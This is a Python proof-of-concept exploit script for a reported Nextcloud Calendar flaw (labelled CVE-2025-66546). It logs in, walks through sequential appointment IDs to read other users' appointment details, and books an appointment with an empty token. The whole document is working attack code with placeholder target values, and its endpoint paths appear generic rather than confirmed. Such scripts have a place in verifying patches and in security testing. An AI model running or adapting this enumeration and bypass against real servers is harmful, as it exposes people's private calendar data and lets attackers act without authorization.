# CVE-2025-66546 PoC - Nextcloud Calendar Sequential ID Booking Bypass
# This PoC demonstrates the vulnerability where appointment booking can be done
# with sequential IDs without knowing the appointment token
import requests
import json
# Configuration
NEXTCLOUD_URL = "https://vulnerable-nextcloud-server.com"
USERNAME = "attacker"
PASSWORD = "password"
TARGET_CALENDAR_ID = "calendar123"
def authenticate():
"""Authenticate to Nextcloud and get session token"""
session = requests.Session()
login_url = f"{NEXTCLOUD_URL}/index.php/login"
# Perform login
response = session.post(login_url, data={
"user": USERNAME,
"password": PASSWORD
})
if response.status_code == 200:
return session
return None
def book_appointment_sequential_id(session, calendar_id, sequential_id, start_time, end_time):
"""
Attempt to book an appointment using sequential ID bypass
The vulnerability allows booking without knowing the actual appointment token
"""
booking_url = f"{NEXTCLOUD_URL}/apps/calendar/ajax/booking/book.php"
# Malicious payload exploiting sequential ID
payload = {
"calendar_id": calendar_id,
"appointment_id": sequential_id, # Sequential ID instead of token
"start": start_time,
"end": end_time,
"token": "" # Empty or invalid token
}
response = session.post(booking_url, json=payload)
return response.json()
def enumerate_appointments(session, calendar_id, start_id=1, end_id=100):
"""
Enumerate and access appointments using sequential IDs
Demonstrates unauthorized access to other users' appointments
"""
appointments = []
view_url = f"{NEXTCLOUD_URL}/apps/calendar/ajax/appointment/view.php"
for appointment_id in range(start_id, end_id + 1):
params = {
"calendar_id": calendar_id,
"appointment_id": appointment_id
}
response = session.get(view_url, params=params)
if response.status_code == 200:
data = response.json()
if data.get("success"):
appointments.append({
"id": appointment_id,
"details": data.get("data", {})
})
return appointments
def main():
"""Main exploitation routine"""
print("[*] CVE-2025-66546 Nextcloud Calendar Sequential ID Bypass PoC")
print("[*] Description: Calendar app allowed blindly booking appointments with sequential ID")
# Step 1: Authenticate
session = authenticate()
if not session:
print("[-] Authentication failed")
return
print("[+] Authentication successful")
# Step 2: Enumerate appointments using sequential IDs
print("[*] Enumerating appointments with sequential IDs...")
appointments = enumerate_appointments(session, TARGET_CALENDAR_ID, 1, 50)
print(f"[+] Found {len(appointments)} accessible appointments")
# Step 3: Book an appointment without knowing the token
print("[*] Attempting to book appointment with sequential ID bypass...")
result = book_appointment_sequential_id(
session,
TARGET_CALENDAR_ID,
42, # Sequential ID
"2025-01-15T10:00:00",
"2025-01-15T11:00:00"
)
if result.get("success"):
print("[!] VULNERABLE: Successfully booked appointment without valid token")
else:
print("[-] Patch applied or access denied")
if __name__ == "__main__":
main()